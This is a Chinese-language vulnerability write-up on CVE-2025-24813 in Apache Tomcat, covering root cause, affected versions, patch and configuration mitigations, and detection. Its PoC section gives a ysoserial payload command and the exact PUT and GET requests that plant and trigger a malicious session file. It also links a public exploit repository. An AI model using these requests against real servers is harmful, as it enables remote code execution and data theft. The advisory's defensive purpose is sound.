CVE-2025-24813 Apache Tomcat RCE 漏洞深度解析与 PoC
CVE-2025-24813 Apache Tomcat RCE 漏洞深度解析与 PoC
云梦DC 云梦安全 2025-05-29 01:00
一、漏洞核心原理
CVE-2025-24813 是 Apache Tomcat 中因 路径等效性缺陷 和 反序列化漏洞 结合导致的远程代码执行(RCE)漏洞。其核心机制如下:
路径处理缺陷:Tomcat 在处理部分 PUT 请求时,会将 URL 路径中的 / 替换为 .,例如 /uploads/../sessions/ 被解析为 .uploads..sessions.,从而绕过目录限制。
反序列化触发:攻击者通过上传恶意序列化文件(如 .session 文件)至 Tomcat 的会话存储目录(默认路径为 work/Catalina/localhost/ROOT),并利用 JSESSIONID 触发反序列化,执行任意命令。
二、影响范围与利用条件
受影响版本:
Tomcat 9.x:9.0.0-M1 至 9.0.98
Tomcat 10.x:10.1.0-M1 至 10.1.34
Tomcat 11.x:11.0.0-M1 至 11.0.2
修复版本:9.0.99、10.1.35、11.0.3。
利用条件(需同时满足):
默认 Servlet 写入启用(readonly=false,默认关闭)。
支持部分 PUT 请求(默认启用)。
使用基于文件的会话持久化(需手动配置)。
类路径存在反序列化利用链库(如 commons-collections 3.2.1)。
三、PoC 利用步骤
环境配置:
修改 conf/web.xml,设置
修改 conf/context.xml,启用文件会话持久化。
将反序列化依赖库(如 commons-collections.jar)放入 WEB-INF/lib。
生成 Payload:
java -jar ysoserial.jar CommonsCollections6 “calc.exe” > payload.ser
使用工具(如 Yakit)生成 Base64 编码的恶意序列化文件。
上传 Payload:
PUT /poc/session HTTP/1.1
Host: target:8080
Content-Range: bytes 0-1000/1200
Content-Length: 1000
[Binary payload data]
若返回 HTTP 409 Conflict,表明文件已写入临时目录。
触发 RCE:
GET / HTTP/1.1
Host: target:8080
Cookie: JSESSIONID=.poc
触发后,Tomcat 会反序列化 .poc.session 文件并执行命令(如弹出计算器)。
四、检测与防御建议
漏洞检测:
监控异常 PUT/GET 请求日志,尤其是包含 Content-Range 和 .session 路径的请求。
使用工具扫描类路径中的反序列化漏洞库(如 commons-collections)。
修复措施:
升级至安全版本:优先修补至 9.0.99、10.1.35 或 11.0.3。
禁用高危配置:
设置 readonly=true 阻止写入。
关闭部分 PUT 请求支持(修改 server.xml)。
移除危险依赖库:清理 commons-collections 等反序列化利用链组件。
应急缓解:
使用 WAF 拦截包含 Content-Range 和 JSESSIONID 的异常请求。
隔离会话存储目录,限制非授权进程访问。
五、攻击案例与影响评估
攻击趋势:漏洞披露后 30 小时内 PoC 公开,攻击源主要来自美国、中国、意大利等地,70% 针对美国服务器。
危害场景:
数据泄露:读取 /etc/passwd 或数据库配置文件。
持久化后门:上传恶意 JSP 文件或修改 server.xml。
检测盲区:Base64 编码的 Payload 可绕过传统 WAF,需依赖行为分析工具。
六、扩展资源
官方公告:Apache Tomcat 安全更新。
复现工具:
Yakit Web Fuzzer(支持 Payload 生成与漏洞触发)。
Burp Suite 自定义插件(拦截并修改 HTTP 请求)。
研究文章:
奇安信攻防社区:CVE-2025-24813 分析。
Wallarm 漏洞利用报告。
总结:CVE-2025-24813 的利用门槛因依赖非默认配置而受限,但一旦条件满足,其危害性极高。企业需结合 补丁管理、配置加固 与 行为监控 构建防御体系,避免成为攻击目标。
poc:https://github.com/absholi7ly/POC-CVE-2025-24813